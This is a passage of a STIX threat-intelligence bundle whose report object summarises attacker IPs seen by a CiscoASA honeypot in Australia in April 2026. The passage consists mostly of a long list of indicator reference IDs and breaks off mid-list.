{
  "id": "bundle--e3efe9b0-0453-4839-b0d6-fd01bbc95c70",
  "objects": [
    {
      "created": "2026-04-01T01:20:11.450Z",
      "created_by_ref": "identity--ab072f15-9b87-4ee1-898f-b584d41f29b0",
      "description": "IPv4 addresses observed by CiscoASA honeypot events on T-Pot, aggregated for this calendar month. Deduped to unique sources; private IPs excluded. Location: Australia. Caveat: request lines alone cannot distinguish scan vs successful exploit; device memory inspection is required to confirm compromise.",
      "id": "report--e3efe9b0-0453-4839-b0d6-fd01bbc95c70",
      "labels": [
        "threat-report"
      ],
      "modified": "2026-04-30T05:20:09.893Z",
      "name": "CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "object_refs": [
        "identity--ab072f15-9b87-4ee1-898f-b584d41f29b0",
        "indicator--482d75be-57a7-485e-a733-5f7f1c5eb6f9",
        "indicator--66f52a28-3aab-42ef-9027-d908c0d60924",
        "indicator--0b031d5a-0a78-4814-b21e-cebd951e23e1",
        "indicator--44f61efc-aade-4ece-a095-9bafa18fe9fc",
        "indicator--2bba9d1c-d5fc-4539-9122-ff40317401ac",
        "indicator--6e782131-7a3e-4e31-8e5a-47a0aa6f733b",
        "indicator--7fb1d0ed-87a3-4ea8-9798-733306fd82d2",
        "indicator--a3b24c39-b944-4a3e-9b49-c568c263310c",
        "indicator--56d9b25d-92f5-412c-b1c4-df8a41613901",
        "indicator--ad2ec482-5895-4f0b-8d07-8eb3de4a085d",
        "indicator--2f3dfeb5-f446-4f85-acda-c4518b26789c",
        "indicator--707f4d66-5ac0-40b6-b033-e25236be615d",
        "indicator--5d711ad2-d6aa-49c6-affa-8bc4e3a11505",
        "indicator--3226854a-af16-4473-8524-32cf67381518",
        "indicator--9bdf95a4-404e-4a43-af2c-8aaa6289ce33",
        "indicator--ddc9d0a6-82aa-4a4f-b559-203bb2b3d35d",
        "indicator--837a7d39-53d1-45c7-86c3-41f0557a0d8c",
        "indicator--87910225-e211-43d6-8e0f-36badf0a456e",
        "indicator--bb6612fa-6213-415d-9201-380933e22b32",
        "indicator--066e8bdd-c4f1-4982-bc88-b0dadcf576d6",
        "indicator--d2cb2a69-d736-450c-b1ae-74f5c74e3d2b",
        "indicator--468490fe-c298-46e1-88c3-4091b87793a4",
        "indicator--76ceb890-1022-48b8-af8f-cda5630e5487",
        "indicator--733909ad-e7b8-4f1f-ba12-9c6426b45650",
        "indicator--d8724057-32e7-4cd8-83a6-3684eda92d30",
        "indicator--416de91b-25d4-4c88-b7e5-89bd09c86a7c",
        "indicator--59bcdde5-88cb-44bd-a377-a39b287de6c0",
        "indicator--8f0b9b41-710b-49e6-981e-5bb25453ae51",
        "indicator--33372c92-5734-43ef-be33-15762d16f1e2",
        "indicator--de6b5ab4-eb34-4fd7-af5b-d2efee7d8a19",
        "indicator--050b4e0b-d205-4b13-980d-7613c8db13bc",
        "indicator--8e30c6b4-fa95-486d-857c-ab3f8696f84d",
        "indicator--003ec2c9-59f6-49f7-9ef8-9ddc53af2bc8",
        "indicator--3131330e-470b-4e1a-87c5-9df2d3181696",
        "indicator--077052b5-b7b8-44a8-a15a-85153cf11193",
        "indicator--ad0f6494-60c7-4080-b52a-459a4dca34a6",
        "indicator--97828de1-62ff-4edf-8c34-885e9d8053fd",
        "indicator--2bee6f36-d56b-4ac4-a763-156fc3df02ee",
        "indicator--9602e298-d504-4eb4-b23a-400a280fea7f",
        "indicator--b79acbc7-568b-4207-add5-9c1da72277b9",
        "indicator--0d772a6d-be07-4e03-a6dd-02d361fb3f7f",
        "indicator--72d4f91c-850f-468a-97e8-69ceee26db43",
        "indicator--fbec973d-914a-453e-91ef-c7ef50e971d7",
        "indicator--26ebb00b-fe67-4125-ac5e-c55fe155630b",
        "indicator--28ab2a82-b834-44cf-bbcf-698c16d7de71",
        "indicator--13c72fa1-1258-4d8e-bbd5-30d56bea1b62",
        "indicator--c05350d7-7aad-492c-aceb-7fe76bf15320",
        "indicator--11336ecd-9c61-434d-9e24-529d3e9d6b88",
        "indicator--c8b4f5c3-047c-4aa6-93d9-fc6458cbe421",
        "indicator--f5c696e4-e4b3-4bde-b339-d0eeacf4579b",
        "indicator--6bf7bfb1-bf72-447f-a5da-694feb6d289d",
        "indicator--6e39fb9b-2a8e-422c-aa9f-baa26623b680",
        "indicator--7a2c867a-8073-49bc-94a9-3ff1fd9dc6a0",
        "indicator--e0375b85-64b7-4faa-b9f9-63dc84c83cef",
        "indicator--92ca091d-2fdb-49eb-abfa-3cab754ffb27",
        "indicator--48a540ce-d2b2-4ff5-b392-7d45432f2540",
        "indicator--049804c6-5d80-483a-89ac-f45106205d3a",
        "indicator--be5139c6-1e1a-41db-9ba1-c6088ec9d3a1",
        "indicator--517d74b1-69fa-437b-a864-55b2111c3453",
        "indicator--11f12bd2-7ee3-40e6-9b26-aec890b6c7cc",
        "indicator--f9d84bbc-d0dd-4e3d-8be5-d69c467a0e88",
        "indicator--07d9c4a0-9d5e-4d1b-9e3a-9343888944d1",
        "indicator--89f167ae-3cfb-41ca-b1d0-058e0e2809d9",
        "indicator--90c64e9f-6830-4a18-a1ca-67db715e3513",
        "indicator--1601d832-33a0-4d2b-bf48-8c8eca51dd80",
        "indicator--30735689-edd7-483e-a8d6-29ca467729cd",
        "indicator--cf78ff11-81f8-458c-a9bf-d349cb4f735a",
        "indicator--390bcfd4-01ce-4c36-9645-210285ea704b",
        "indicator--e51e44bf-ea06-4dd9-bc79-ac6c6a024a87",
        "indicator--1b02b2e9-3cdd-493c-8a42-6aeb300febbc",
        "indicator--ed46f715-350c-4698-873b-d358c8a55fbd",
        "indicator--e28e364d-04e8-40ee-b686-e9e12e265f01",
        "indicator--80bec7f8-29b7-497f-91a9-56a612dbe217",
        "indicator--95f57e69-c3d1-4efe-ae81-9bc3b101a3ad",
        "indicator--de12c914-e8f6-412f-8bcf-88dc17bdf702",
        "indicator--ab390ce4-9b43-4f0f-8974-488b9d2a62d3",
        "indicator--bf333b23-aae0-44e2-aef0-8b18095a911b",
        "indicator--c970d956-ec66-4884-8a97-e9dbdbb05963",
        "indicator--edec7014-fcc3-4475-a3ba-fd17ac0edc55",
        "indicator--b73c3b75-f81f-44ca-8ccd-6f08abb7282d",
        "indicator--cc0f9641-d1c4-4acf-8690-876185165e80",
        "indicator--ecc8b7f0-57ef-446a-b551-1c392222d359",
        "indicator--5c29e83b-ebd8-4d76-b3a2-16c2324ef52c",
        "indicator--b99274db-b37c-46c9-9cea-dd01c1e8375f",
        "indicator--76f9525e-3ee6-41a4-9a5c-4fbd0671c223",
        "indicator--e3fdae8f-0082-419a-98c6-ac5528695661",
        "indicator--79610107-5ccc-4b40-ac37-c3a4196e0464",
        "indicator--ec81762b-7cff-40b7-9519-bd40bb4e65af",
        "indicator--d9ec22d9-8471-4497-a186-736445632b8f",
        "indicator--28a7418f-7529-4008-8c32-872163704a4f",
        "indicator--462e1491-476b-4dfb-bb19-092f8740a3c7",
        "indicator--1de6f33f-12fd-4fab-aef0-027ce7b4560d",
        "indicator--4b134434-c1a2-49f9-9867-19a312696da2",
        "indicator--85406cf9-72d2-4905-84db-9634f2bd8818",
        "indicator--562aabdf-6d0c-4843-867a-35fca7f60d92",
        "indicator--e080192e-88f7-4026-b7b2-dde901307c67",
        "indicator--aa3e292f-2052-4e2c-835b-01191b91807f",
        "indicator--2c820e6b-80d4-4651-a3d9-ac21ae0a2855",
        "indicator--b4f707af-bc89-4da0-8881-a173d4bbada8",
        "indicator--bd5dac0e-7142-48d1-8682-7779455e476c",
        "indicator--b36b1cd9-c185-421d-a19a-faa3812a29a1",
        "indicator--409f1f5c-f244-4cc1-9a8c-c0a8f7dddfa7",
        "indicator--4c87385c-032e-47cb-98b8-0b1b18820e65",
        "indicator--bde96bb2-b68a-470c-a777-868a2b18f1ea",
        "indicator--87634916-be1f-4975-a00e-2e54a16496f1",
        "indicator--638e24b9-a18c-4a30-89a9-d4c3f1b77b35",
        "indicator--da4c5267-27a0-412e-87fc-edf02ee9b52c",
        "indicator--8e91142e-4f6c-47c5-a0af-6cfb7c86ea61",
        "indicator--bca0c626-4710-4bda-9f75-ef53746e02b8",
        "indicator--fe28b19b-765f-490b-9875-40dd9acf59d6",
        "indicator--d1fabf49-da21-46a7-a531-f9ff227f7fc5",
        "indicator--028072ce-b47c-4d50-9242-f115f8158cd7",
        "indicator--5a2ad778-0541-48ec-bcc2-3a71269bef72",
        "indicator--56bf828e-348d-4b65-bc18-6e01f28501e8",
        "indicator--22843072-f513-4f20-b76e-c1160c4addd4",
        "indicator--9612eb6b-73d7-4523-9a97-315797f5b86c",
        "indicator--f96a4e81-2e42-4328-844a-d81d8c690b7b",
        "indicator--15d786a1-b30c-44d0-8db6-b0517ef1da37",
        "indicator--b55b89b8-7e67-4508-8fc2-28bdfc5d8fad",
        "indicator--360d6ee1-32e9-4eda-bb22-0b7cb27f2688",
        "indicator--dcdb0c5c-585c-4238-8be4-98c79aaea9c5",
        "indicator--02ddc4c4-3302-457f-ad6f-f0b1853aeecc",
        "indicator--2858c35b-9a80-4cc4-90ad-4bdedfc9b902",
        "indicator--93db0f3c-3dd2-442f-8df7-c6744dad8585",
        "indicator--08a34629-ac36-47a2-bcd3-e8a32d74e886",
        "indicator--9bea1472-6445-4757-9720-57515ab84654",
        "indicator--b20aa274-8a06-4b22-aa0b-309b8894e9b6",
        "indicator--7cc1312f-3133-4b10-bfeb-94dc0ca7f673",
        "indicator--97f5ab4b-2c8a-4b1b-855d-3c63d2a20e91",
        "indicator--6cb36f0d-3551-490e-b3de-a77b27a8cfdf",
        "indicator--e6cfc575-3091-4ac7-93cc-ada86ce9be8c",
        "indicator--51361ef0-79d1-4ac5-a8e4-5e14f5c041e9",
        "indicator--6fbad549-ed45-41f7-9943-9a0b5019aa46",
        "indicator--f3f641bb-1a26-4df5-a9d9-db69deba77e8",
        "indicator--2c65cca9-2424-45fd-99f2-4fc0deb90908",
        "indicator--1605e60d-63e1-4f8b-96d9-0b01cc414e46",
        "indicator--94cff398-ecb2-4b01-9021-204bff7ff7c1",
        "indicator--69103f7f-8bb8-4320-8f31-23d8d237ff1e",
        "indicator--e6133a72-2a57-4580-9d57-f5372fb64d2a",
        "indicator--ca26f104-6426-4452-94c2-e9834a30678e",
        "indicator--c2942521-a967-4829-b003-73331af4a5a3",
        "indicator--22fa3e65-f089-4e05-9688-63986183ffd5",
        "indicator--46df56a8-fc00-476f-abed-944e682dce4e",
        "indicator--5e498064-19fc-4cf4-8214-fdba7d08e2f5",
        "indicator--c0951c3b-4fca-4b5d-812f-be4d1e8aadb4",
        "indicator--63563ca8-48da-4d26-ac31-42185e8d58bc",
        "indicator--badfcc20-f8f6-47e6-b510-ea78dd46c651",
        "indicator--db1329b7-2e14-4a8e-a68a-c60ba5107d00",
        "indicator--ca3e1c3b-5d1a-46fc-b089-cc85867292e9",
        "indicator--48f0a3fd-4f54-41f9-9124-dacc6d646f3f",
        "indicator--e2ae906b-ab0b-4434-afba-1faf0a821432",
        "indicator--430d43af-83da-4437-a771-19c9da329f0d",
        "indicator--cbae1715-03f1-4b03-9c28-42ca1b21b690",
        "indicator--e2035372-83d0-4bef-bf06-052439dac9cf",
        "indicator--589f59a1-4a41-4c79-a773-8606641c5188",
        "indicator--7d377912-d211-4ed5-991e-eb1270b01c8a",
        "indicator--fed3a61e-8415-4737-a73c-0d7fd1f0d60b",
        "indicator--c2daf7d3-664a-43c3-8b0f-58c50edf0314",
        "indicator--be80cae7-6ae8-4fb7-b2a0-809f203f4b97",
        "indicator--4030ac0e-49b4-4854-9981-a48c7878c084",
        "indicator--b17673c5-dbf0-4594-80f4-bcb5d04ac0c3",
        "indicator--c0baf657-7467-4401-bcf0-7113ce258190",
        "indicator--2c6c8066-5639-4561-b0f5-3dc09bea9855",
        "indicator--f0912112-b13a-4795-93f0-3949ae5c98e8",
        "indicator--d806a66e-799a-48e8-9462-888c98f391da",
        "indicator--7d195c17-0554-45ef-99b5-36358eaeabdb",
        "indicator--80e19a3e-39fc-45ef-9661-85a3b7283bbf",
        "indicator--48ffadd0-e0fb-42fd-ba09-8b128deb1996",
        "indicator--6e703ae5-aa43-419f-ac8b-4909653599f0",
        "indicator--ff5dc5ca-5de6-410a-9b17-ab248514723f",
        "indicator--04c079aa-7080-4773-918e-2679a08591a3",
        "indicator--95ad3ab5-7bfe-4e5b-bdd4-b09c7fa7cef1",
        "indicator--c24038ec-dc60-4c29-851f-8887edf9bc8c",
        "indicator--909e7c8e-58e1-43df-9856-b74b928024dc",
        "indicator--a89a0a3e-4286-4200-9b8d-f529b5b10e70",
        "indicator--0ef48a76-5771-4d83-832a-c3ac9464f84c",
        "indicator--2cad1e8e-d6c1-4405-87f0-fefd0c342dcc",
        "indicator--8a305ec8-4a85-4445-a7a2-20fd03e8e60b",
        "indicator--221c2636-d37a-4ec1-a6c0-678c58f6dcf5",
        "indicator--4ea05228-b316-4d56-a5d0-cffdabc7438c",
        "indicator--4a77925e-372b-420f-889e-999a12a5e080",
        "indicator--70be63ff-4bcd-45a6-9a92-d005acaccec1",
        "indicator--e99a4e82-0c50-434f-b05b-d4f1cc6f6e6e",
        "indicator--4be41661-b202-49ae-8083-98dfdedadaf8",
        "indicator--797dd441-1c9b-446b-a97d-40734e0e0df3",
        "indicator--666bd3fe-2f3b-429e-a39b-529294507d9b",
        "indicator--c10c39fd-ec6f-48c6-ab4b-d9ba04b07cc3",
        "indicator--f9659ef4-3851-4a9d-bc80-50699585eb18",
        "indicator--27e9d52c-fa01-4108-bdef-1ca22fda8998",
        "indicator--4300c9c0-abc9-4924-9405-06aed7722c68",
        "indicator--2d4e27a6-d7bd-4a72-91a7-661736fda2ec",
        "indicator--770c6ed4-d95a-4047-920a-ebdbd8f76259",
        "indicator--4d122c61-0396-486b-8563-6dba3ab9dce6",
        "indicator--0e18d292-8864-4077-b061-120dc026f243",
        "indicator--7b5b9879-be12-464c-b4c9-ccf2bfe400b0",
        "indicator--712ddaad-b2ef-4bb9-b806-579cd2a0375d",
        "indicator--83837049-31ad-41a8-84f3-7f776c4ffcc6",
        "indicator--ae73d329-82c7-4daa-95a8-708d9c613709",
        "indicator--dfff6ed3-08e2-4adb-bbd2-44d66a862851",
        "indicator--cf9be841-7131-4d61-9c75-528fd61a6630",
        "indicator--1afb2180-5e93-4309-b670-678d77c69221",
        "indicator--9552f481-6e77-4a15-af1a-bf86730d1234",
        "indicator--91007e02-5585-473a-a899-be7ad65731b9",
        "indicator--4d501674-2bef-478e-9dbd-64e5d3c0a608",
        "indicator--c7b1be7f-2223-4604-9cf4-5c8fee6b24d7",
        "indicator--687c49f6-02aa-4250-aab0-3bee1a05e4fd",
        "indicator--bd83da4a-ec1a-49d3-87fd-3dfaf94b328e",
        "indicator--1a46a61f-7e89-4d95-a2b6-85c7d712c2c2",
        "indicator--8a157360-83b3-4f18-9021-24e9cf39a698",
        "indicator--a4a4faff-d2d6-4735-acdd-aa1014f7e833",
        "indicator--f36116af-37cd-4836-a03a-10691a91dc69",
        "indicator--0d5bf4e4-4380-454f-b87d-b02e37ea1c42",
        "indicator--b9fdf34b-d8c2-4702-b728-4dad41832fa4",
        "indicator--ab168039-b8f0-44b9-bd80-5b04810bcfba",
        "indicator--7f6d0eb4-6745-4b30-b53b-20dd18e0f095",
        "indicator--8e5396bd-5c26-4f66-b3b5-391ca4a5c76c",
        "indicator--71dd1c1b-67a0-4cb3-949f-463752e2832b",
        "indicator--155fd249-1e30-4f49-83ca-f77d7d4802c7",
        "indicator--dd12d266-24ab-4bb3-b91b-f82074bfccf6",
        "indicator--038ba246-8780-4082-8f46-f5835c912d38",
        "indicator--3eb49efa-0671-409d-9ccf-754e5218516a",
        "indicator--2c269988-854f-423a-9c53-319c507a3f44",
        "indicator--b96b7a03-793b-4920-a459-931d9ce172f1",
        "indicator--afb71d5d-a113-4232-9f63-51e4090eb28f",
        "indicator--f4293a16-32b3-4a63-a60c-2c44a260b866",
        "indicator--991d03df-4d15-4794-9b26-dde5ee810519",
        "indicator--d7480d6b-7963-41c1-a1c9-a1a358480f18",
        "indicator--9a9d6a81-ed86-4ed5-a9ab-9ec71bb392c1",
        "indicator--769454fc-0d5a-4aff-b125-287be035e46f",
        "indicator--38553056-6e38-4275-aa08-5ad6a1dafb22",
        "indicator--b8840d30-cb97-466c-99f8-5167d6faa3b9",
        "indicator--4f120c92-15de-4d7f-8211-5edf8abfa85a",
        "indicator--5de4edd0-90ca-40e0-aab4-1e9edf0fa105",
        "indicator--060d372e-1287-4721-aa87-e1c89a486e69",
        "indicator--54cda7a7-a186-46f4-8025-abd7e9de4fbb",
        "indicator--4a72e14b-92e6-4876-8f7f-faf2e2498de7",
        "indicator--8d48377c-c5c3-4f08-beb0-f31e4fc901cc",
        "indicator--7fdfe862-9d0b-4493-b950-4edba6d40019",
        "indicator--e296585b-b084-4825-8f2c-18b35a8615db",
        "indicator--028e1998-0612-4eab-bf71-9363f4749ce9",
        "indicator--6bc655d3-ff85-415e-b1e1-bd6c369bca42",
        "indicator--92f34986-c68d-47dc-85e2-041bbd70827d",
        "indicator--1ecde80c-b789-46a0-a371-314cedc5a420",
        "indicator--6d975f73-0ec8-4c1a-b5b9-c16f9b96d6dc",
        "indicator--2d3b07ad-8c4f-42e0-892f-ba885891e1df",
        "indicator--377aa987-4c1b-4768-b8e8-2cc73bf987ad",
        "indicator--e9670968-0b00-4615-a667-37a7d3a0632c",
        "indicator--abb1998c-dbc2-43f6-9cdd-916fcfb55393",
        "indicator--47750d9b-fe97-42cd-be44-84fa3172c8ef",
        "indicator--7e1e1fa9-9c92-4f2d-b620-f2b609bef264",
        "indicator--b3649afe-716b-46d1-868a-b413480ca42d",
        "indicator--742529b8-37d3-48d4-bb19-e0ac702bf207",
        "indicator--7fb22115-da8c-438e-8080-a0c123a44a30",
        "indicator--8365820d-c3e5-4fb4-904f-d5ea4d4a6f4f",
        "indicator--57abdb1c-f8e3-41ac-b736-4d6dad965448",
        "indicator--a61bad09-5259-45f1-b1ea-c6ea17f9fc93",
        "indicator--bb5aa5e9-cb26-4684-b015-cf900b45c685",
        "indicator--509570bd-4981-4885-883b-f03a5b3ae650",
        "indicator--19909677-a1c7-4f4c-a4db-4cb6d805dfde",
        "indicator--a6efa637-3976-4409-9d16-6df1ebe55ac4",
        "indicator--c36d8454-6cfd-4157-8de2-20347a5b6e6b",
        "indicator--4b4de9f0-c62f-438a-9ddd-117cb0dafa8b",
        "indicator--651a45fc-62a7-4228-91c5-ec2741996dfb",
        "indicator--43033e25-45d3-438e-b41c-1018d933575a",
        "indicator--624aedcb-deaa-4603-b148-e7dc8dd54969",
        "indicator--deeec217-973b-4da8-9419-d432a2290107",
        "indicator--fdc0c8b9-bc72-4749-8e27-38f2dd678dcd",
        "indicator--42266cb9-004e-4591-abc1-f1e95af7f37c",
        "indicator--36a573a6-15ec-474f-8eb8-891e3a82ab05",
        "indicator--9748a46a-cd2e-4368-bb97-9d7fb5c084b4",
        "indicator--2825a7f9-002c-4548-a482-fb208a9f0f14",
        "indicator--29c4144e-9133-47e9-8fe0-7b0806c3b37e",
        "indicator--a3e43619-8cb2-459c-ac42-f0380e012ab6",
        "indicator--fdd70a21-e0e7-4741-97c5-a2ec776e8b6d",
        "indicator--ce5508f1-6a46-4d3d-b91a-4e74867abbe3",
        "indicator--fd92cd6d-f236-411d-8358-f226f7904456",
        "indicator--a45a7af9-9c2e-4cff-8981-2b3ce420cb63",
        "indicator--d645a638-0e90-4750-85ea-8733df7b2fc6",
        "indicator--6f1b1df0-364f-4e4e-96fb-5850cf7924ff",
        "indicator--45072b46-70bc-4485-aec2-876bb19c6001",
        "indicator--f4d0a9cf-63fb-45ab-8d0c-624cb0cd8351",
        "indicator--ad61d9b9-e060-4aac-a87f-51ba1efcdf07",
        "indicator--959b95be-56c4-4f4c-afec-769862866bed",
        "indicator--aeceafce-b507-47b5-8f5a-91c3bdfc63c9",
        "indicator--da79988e-5f2e-4d55-97c7-d85f56f86aec",
        "indicator--23fa7fbe-02b7-461c-96de-25150cb513e6",
        "indicator--a8140fcd-3839-4db7-af8b-90481b6e04c1",
        "indicator--4dd019ef-eb57-4cca-a74d-10131c38c26a",
        "indicator--58341353-6e2d-45ed-95e6-84d3bc7a0593",
        "indicator--ab0284df-f256-4ee4-a678-f257497f976d",
        "indicator--35868fa5-d330-4192-99c3-1ae00762d136",
        "indicator--657287dc-6f41-4fd9-89fc-1d274638491a",
        "indicator--46664c38-6838-4bee-a658-5351444a5cda",
        "indicator--6b042238-d161-423d-812b-b18f113baf3a",
        "indicator--f7312c8e-265b-4d41-9253-c055a51ab058",
        "indicator--c87c2cdd-6d69-4770-8d3a-3376c3def3d1",
        "indicator--99d3ea9c-d1b7-44a6-bda5-7e3e12cec385",
        "indicator--66ac181d-ec75-4c6a-934c-50b0b4bbc183",
        "indicator--2731b403-4561-4b0a-9f46-6f493dba57f6",
        "indicator--f8fe85c3-0cee-49b5-a1f8-71d2c2cb44c6",
        "indicator--4ff43009-70bd-4290-b212-a25998e1dbe4",
        "indicator--418ab54a-9e21-4ad6-9599-4f877161e21a",
        "indicator--edee5faa-f46d-4a7a-9752-55aff47c093f",
        "indicator--13863adc-26c3-4e0a-af83-89fc483d58e3",
        "indicator--d862d48b-820a-4d79-adca-5efa38d48830",
        "indicator--74141c7a-2189-4cd4-abab-3d784cde517e",
        "indicator--1466dbee-a6bd-429b-99be-15dd443214b4",
        "indicator--96ffb07d-7f7b-4044-a75e-fcb10cc1fe68",
        "indicator--6bbf3ffd-a570-4877-81aa-9eb4d13450ea",
        "indicator--c3a51b2f-354d-4fcb-8f4e-85296a354868",
        "indicator--0b7e2b5c-f8bd-4a2e-b980-09cf4916c3a2",
        "indicator--520ad52b-f06e-4d40-9b17-841a9cd52b5c",
        "indicator--5274e960-d121-489c-87a3-92850493a2d4",
        "indicator--f976c9d8-b012-44ee-83b1-0119b26df36a",
        "indicator--5eb720c5-f035-4349-85e1-e004e7c860d7",
        "indicator--e1a692df-0d5f-411b-91b7-61fc516047fb",
        "indicator--e3263f59-b96d-46b1-b5d5-187ab1b483c9",
        "indicator--3a1dc042-cd13-428b-8524-7bc7a36adc95",
        "indicator--17ee7a88-5797-4a4a-893f-4e25ea8aa63c",
        "indicator--e93d5b4b-3f83-4c58-a0f6-04b37cb51893",
        "indicator--ff57bba2-d51c-4a00-b8cb-381932958842",
        "indicator--213c2b6b-cab4-4f29-aad3-3ce8542e3256",
        "indicator--8be5d4f2-2465-4a2f-9c98-ca73bc20b517",
        "indicator--d1e87e80-d3fa-4abb-8e2e-039dcf25bf87",
        "indicator--fc81e133-4cf8-4141-a5cb-b5664a15df0b",
        "indicator--1d4e284c-ce0f-49c5-b00b-701697c26017",
        "indicator--1cd12c38-92e1-430a-a811-5a8c98f47338",
        "indicator--f6cf3bf2-017f-4080-b6f9-ea8559fa6934",
        "indicator--6207b9a2-450e-42a4-a82d-bfbff3b15925",
        "indicator--37a1e2fa-d512-4e2a-9821-729ec2783fd5",
        "indicator--a8d58219-e85b-4bd0-8e3e-3cfdd7d64c4b",
        "indicator--5d26a483-4ff1-40cb-9897-c8be66c6843e",
        "indicator--1afd34c2-1367-492c-8ef2-feeeb1b51dd6",
        "indicator--c6cd795b-9c37-4c4a-b048-58791fa9eb24",
        "indicator--649cedc2-e49d-47da-a195-06be7d41c5f0",
        "indicator--046a8d81-1a99-4aa7-a398-8d8ebf602934",
        "indicator--1ddb8362-88a6-4f7c-a16e-a42c68aad925",
        "indicator--d003817d-03ce-489e-b6c9-8fbb1cfa2f9f",
        "indicator--67bf1181-1cf2-482d-8c67-c64f9105fe2a",
        "indicator--2d91242e-be87-4031-9ea9-00aaf288c248",
        "indicator--37c7479d-cc60-4080-b871-b599bc6f3ad4",
        "indicator--a0914d94-987c-4194-bc28-e9089291c813",
        "indicator--139efb3b-654a-424b-8681-a172b245a810",
        "indicator--042e5ed0-ca9b-4a7e-87dd-e2a3b0841261",
        "indicator--b767a9d6-2f07-466c-9dbc-c9667fbcce8f",
        "indicator--12331f8e-82f0-49d3-8fae-c1928cea3f9d",
        "indicator--546eb9ac-902e-4371-8d40-45b43c757dd5",
        "indicator--024bb9a5-b376-47c8-afc9-61d01258d197",
        "indicator--733756eb-e6cb-4ce6-8e50-e4f05f94c641",
        "indicator--04019316-3b1b-48e2-9df0-db14506cec4b",
        "indicator--805efbfe-eec3-4f48-9d84-e39ed40ca24b",
        "indicator--16f1c873-466a-4c9c-abc2-8face5580658",
        "indicator--b5a56d91-c62c-45ee-afdf-32c77015107e",
        "indicator--78e0f4a8-2683-4bfc-8606-2a2219ea1ee7",
        "indicator--66f992ef-545c-43fc-9c69-348ac0d0e432",
        "indicator--3e55f0bb-467c-4e22-90c2-09e8027af368",
        "indicator--99ef3dbe-0c06-49d9-88b0-0d08aaed49b4",
        "indicator--2f457bd2-fead-4016-aa35-3438f7f1a21c",
        "indicator--d23e4851-0629-48bf-82fb-cb83044b7dcc",
        "indicator--cc5b0f80-bcfe-4e49-b952-eb68c74f25a9",
        "indicator--78ab8f64-efba-425c-8391-8eb4bfa100b3",
        "indicator--8131334f-ab64-477e-bafd-b45ed0d13e0a",
        "indicator--7b823826-77ae-46f0-9d1d-c45f3cd49d9e",
        "indicator--6adc1817-28b6-4ec8-a9f6-0cea29b4a5ae",
        "indicator--d8018e02-920d-4e97-a9b9-4164f81309f9",
        "indicator--47652905-1b39-4561-9353-a769baf27ca3",
        "indicator--2022a75b-fca8-42b8-a0a7-1d23edfc52e9",
        "indicator--fa1de875-403a-4be0-ae46-2709e19cd5e0",
        "indicator--e2d97235-5e4e-4414-aae2-3779acca53af",
        "indicator--c52be9f3-a933-44f8-89a6-769b15f49920",
        "indicator--6449dcf0-0c89-462b-ac97-ae27d51105e8",
        "indicator--5ce07a06-5346-4961-81aa-f165727aed28",
        "indicator--4472a798-174c-4dd7-a97a-138d7fb4e2cd",
        "indicator--b96c769a-ebdd-43fc-8f02-be118b195087",
        "indicator--4554f602-6195-4b92-93b3-67ceaa2daefc",
        "indicator--5b1178f4-fb3f-4a86-8691-27d073c561ee",
        "indicator--6c1da91c-a00a-4d10-9659-eaef566de146",
        "indicator--4e79dd00-c9ee-4ea5-b6cb-6debddf10347",
        "indicator--527e2d40-4429-4858-bc65-dca9fd28377d",
        "indicator--f6625ede-ade2-490a-ad10-31559272cee7",
        "indicator--88c025b9-500c-4cf1-a276-b92b1829a09c",
        "indicator--07fbce54-2293-4124-bff4-b9d8ef9c888f",
        "indicator--2a230298-f741-4685-bc5a-3c34bb1ba5a1",
        "indicator--2cf5a4a6-c9d5-4127-8ba4-afb1394b958c",
        "indicator--17b6856b-e8ea-477b-ac0e-05bca70a709e",
        "indicator--49637823-fe94-40f8-8208-32e27234f84b",
        "indicator--b4e6685f-9897-4acf-a6a9-692488324023",
        "indicator--aee39831-bee7-478c-92bc-f6e4985f3e17",
        "indicator--5d220070-5b4b-4b2a-9861-896a6c112d4e",
        "indicator--17d610c3-1a09-4aef-941f-0eebc9fe8d8f",
        "indicator--5f3fbeff-795a-47a8-b2b6-07f05083293e",
        "indicator--d452c36d-2ef1-4bf9-9628-105fa987f34c",
        "indicator--eb0be409-6e0f-4099-9922-ac40a5d4c825",
        "indicator--e72ed484-9677-4a8b-a3ac-5f746b720bc4",
        "indicator--63b0aad2-7cb4-4f3c-86cd-7687f01ea996",
        "indicator--8f3c8aee-ea78-4d99-af8d-2eb8f22cad6d",
        "indicator--d5826848-e51b-4574-a399-d7229f716ad7",
        "indicator--d33c8961-2402-48e1-92ac-f975df57170e",
        "indicator--2513dd47-8a9d-4fb1-ad3c-5805853181f5",
        "indicator--66409801-dcc2-426f-bfb1-ca9578dcb199",
        "indicator--373f0b4d-474d-44ae-8d8b-396422a797c5",
        "indicator--c61042b2-0d3e-41ff-b283-9d3598ef11a3",
        "indicator--efe7aa87-438d-45a2-a500-81220520bd86",
        "indicator--82eeab94-03e5-4143-8446-e9bf25cfd9ce",
        "indicator--ac164f49-e342-42a9-bebc-7490f4b40f4f",
        "indicator--cdefb74f-4d4c-4082-ac48-cbb2a90a0031",
        "indicator--ec4702ed-8af8-41ec-a18b-8229046d8ea4",
        "indicator--54e53fce-47b5-43dc-a5f2-bda886261ed2",
        "indicator--650acbae-c9f5-462b-aae0-7f7c8f45f8cc",
        "indicator--9d17a3d4-2de0-4b28-b676-e99cc967e28f",
        "indicator--40ecd474-46a4-4cfc-bc44-5e833d9a8923",
        "indicator--ea078ff2-1e92-4046-a8f2-84c7b7a2a552",
        "indicator--4f6ecbeb-1632-4b31-9f89-bff93d40b174",
        "indicator--4f547501-a959-443b-b686-59ab8c5d0f83",
        "indicator--73d7de6a-5848-494e-aeb8-bd162e193caa",
        "indicator--34502983-4b02-4b1a-835a-3c4a12e131fa",
        "indicator--e8e91247-3014-49fe-adf9-e5f709897c47",
        "indicator--7f4cbc6e-6665-4c22-9c0e-d4e701e01200",
        "indicator--91e189b5-7d09-407b-90f3-0617efa93328",
        "indicator--b99b2438-f37f-4cd5-af3a-43f3d4370440",
        "indicator--11b5122e-f83c-424a-838d-9c3568325695",
        "indicator--25085067-3609-4394-b110-197b3b381071",
        "indicator--545b305c-46c6-4edf-aef8-649716ad2c62",
        "indicator--80fa8f41-387a-455f-898c-3a4d55c53af6",
        "indicator--b220cef5-bd5b-4f4e-abe2-33acd7ea592d",
        "indicator--b3aa68b4-8d58-42e1-b504-b76ef82d88a4",
        "indicator--8d4245cc-ae36-4611-8c6c-68137ad8542e",
        "indicator--965259fc-ea15-4572-b538-5b758290d6d5",
        "indicator--503695b9-61a2-4a09-9045-aa6e09faa1ec",
        "indicator--356f30f6-e511-4a1e-930d-07b98cdd73da",
